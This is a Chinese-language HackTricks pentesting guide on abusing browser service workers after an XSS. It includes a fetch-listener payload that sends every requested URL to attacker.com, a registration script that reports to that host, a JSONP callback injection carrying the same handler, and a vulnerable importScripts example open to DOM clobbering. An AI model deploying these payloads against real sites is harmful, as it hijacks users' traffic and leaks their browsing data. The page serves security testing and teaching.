hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

8.4 KiB
Raw Blame History

滥用Service Workers

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

发现最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。立即免费试用

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


基本信息

Service worker是由您的浏览器在后台运行的脚本,与任何网页分开,可以启用不需要网页或用户交互的功能,从而增强离线和后台处理功能。有关service workers的详细信息请参见此处。通过利用易受攻击的Web域中的service workers攻击者可以控制受害者与该域内所有页面的交互。

检查现有Service Workers

可以在开发者工具应用程序选项卡中的Service Workers部分中检查现有的service workers。另一种方法是访问chrome://serviceworker-internals以获得更详细的视图。

推送通知

推送通知权限直接影响service worker与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝将限制service worker对持续威胁的潜力。相反授予权限会增加安全风险通过启用潜在利用的接收和执行来增加安全风险。

攻击创建Service Worker

为了利用此漏洞,您需要找到:

  • 一种上传任意JS文件到服务器的方法和一个XSS以加载上传的JS文件的service worker
  • 一个易受攻击的JSONP请求,您可以操纵输出使用任意JS代码和一个XSS加载JSONP并使用有效负载,将加载恶意service worker

在以下示例中,我将呈现一个代码来注册一个新的service worker该service worker将监听fetch事件,并将将每个获取的URL发送到攻击者的服务器(这是您需要上传服务器或通过易受攻击的JSONP响应加载的代码):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

以下是将注册工作线程的代码(您应该能够执行滥用XSS)。在这种情况下,将向攻击者服务器发送GET请求,通知注册服务工作者是否成功:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

在滥用易受攻击的JSONP端点的情况下您应该将值放在var sw内。例如:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

有一个专门用于利用Service WorkersC2,名为Shadow Workers,将非常有用来滥用这些漏洞。

24小时缓存指令将恶意或受损的service worker (SW) 的寿命限制在最多24小时假设在线客户端状态下进行了XSS漏洞修复。为了最小化漏洞站点运营者可以降低SW脚本的存活时间TTL。开发人员还建议为快速停用创建一个service worker kill-switch

通过DOM Clobbering滥用SW中的importScripts

从Service Worker中调用的函数**importScripts可以从不同域导入脚本**。如果使用攻击者可以修改的参数调用此函数,他将能够从自己的域导入JS脚本并获取XSS。

这甚至可以绕过CSP保护。

示例易受攻击的代码:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

使用DOM Clobbering

有关DOM Clobbering的更多信息请查看

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

如果SW用于调用**importScripts的URL/域位于HTML元素内**则可以通过DOM Clobbering进行修改使SW从您自己的域加载脚本。

有关此示例,请查看参考链接。

参考资料

找到最重要的漏洞以便更快修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。立即免费试用

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥